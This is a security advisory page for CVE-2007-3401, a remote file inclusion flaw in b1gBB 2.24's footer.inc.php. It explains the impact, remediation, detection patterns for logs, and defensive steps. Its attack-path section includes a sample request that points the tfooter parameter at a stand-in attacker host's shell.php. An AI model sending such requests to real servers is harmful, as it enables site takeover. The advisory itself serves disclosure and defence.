CVE-2007-3401
NoneCVSS
—
EPSS
74.0%
Published
Jun 26, 2007
CISA due date
—
Cloudanix analysis
An old web forum program can be tricked into running attacker-supplied code simply by visiting a specially crafted link, letting outsiders take over the site.
- Exploitation
- Remote Unauthenticated
- Attacker needs
- None
- Complexity
- Low
- Impact
- Remote Code Execution
- Component
- Application
- Class
- RCE
- Remediation
- Upgrade
- Effort
- Medium
- Patch risk
- Low
What it actually does
Remote file inclusion in footer.inc.php allows unauthenticated attackers to supply an arbitrary URL via the tfooter parameter, causing the PHP interpreter to fetch and execute attacker-controlled code with the privileges of the web server process.
Why it matters to the business
Successful exploitation grants full control of the affected web application, enabling data theft, site defacement, or use as a pivot for further network compromise; the software is long unsupported with no official patches, increasing risk for any remaining legacy deployments.
How an attack unfolds
An attacker identifies a reachable instance of the vulnerable footer.inc.php, appends a remote URL containing malicious PHP to the tfooter query parameter, and sends the crafted HTTP request; the server includes and executes the remote code, establishing a web shell or performing other attacker-chosen actions.
How to fix it
Remove or replace the unsupported b1gBB 2.24 software; if retention is required, apply input sanitization to block remote URLs in the tfooter parameter and restrict PHP include/require operations to local files only.
How to confirm the fix worked
Review footer.inc.php source for unsanitized use of $_GET['tfooter'] in include/require statements; attempt a controlled test request with a benign local file path and confirm execution is prevented after mitigation.
Typical attack path
- Locate publicly accessible b1gBB installation exposing footer.inc.php
- Craft HTTP GET request containing tfooter=http://attacker-controlled-host/shell.php
- Server fetches and executes the supplied PHP payload
- Attacker uses resulting shell for persistence, lateral movement, or data exfiltration
How to detect it
Search web server access logs for requests to footer.inc.php that contain tfooter values beginning with http:// or https://; inspect for subsequent anomalous PHP execution or file writes originating from the web root.
- footer.inc.php?tfooter=http
- footer.inc.php?tfooter=https
- tfooter=.*\.(php|txt|inc)
What your security team should do
- Inventory all instances of b1gBB and schedule immediate decommissioning or migration
- Block external URL inclusion patterns at the web application firewall
- Monitor web server logs for tfooter parameters referencing remote hosts
- Harden PHP configuration to disable allow_url_include
The record
PHP remote file inclusion vulnerability in footer.inc.php in B1G b1gBB 2.24 allows remote attackers to execute arbitrary PHP code via a URL in the tfooter parameter.
Affected packages
| Ecosystem | Package | Introduced | Fixed |
|---|